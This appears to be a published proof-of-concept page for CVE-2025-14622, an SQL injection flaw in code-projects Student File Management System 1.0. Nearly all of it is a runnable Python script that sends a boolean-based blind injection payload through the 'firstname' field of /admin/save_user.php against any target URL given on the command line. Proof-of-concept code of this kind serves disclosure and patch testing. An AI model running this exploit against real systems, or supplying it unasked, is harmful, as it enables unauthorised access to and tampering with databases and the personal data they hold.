CVE-2025-14622 code-projects Student File Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-14622 SQL Injection PoC # Target: code-projects Student File Management System 1.0 # Endpoint: /admin/save_user.php def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in firstname parameter """ target = target_url.rstrip('/') + '/admin/save_user.php' # Malicious payload for SQL injection data = { 'firstname': payload, 'lastname': 'test', 'email': '[email protected]', 'username': 'testuser', 'password': 'test123' } try: response = requests.post(target, data=data, timeout=10) print(f"[*] Request sent to: {target}") print(f"[*] Status Code: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-14622.py <target_url>") print("Example: python cve-2025-14622.py http://localhost/student-file-management") sys.exit(1) target_url = sys.argv[1] # Test payload - boolean-based blind injection payload = "admin' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" print("[*] CVE-2025-14622 SQL Injection PoC") print(f"[*] Target: {target_url}") exploit_sqli(target_url, payload)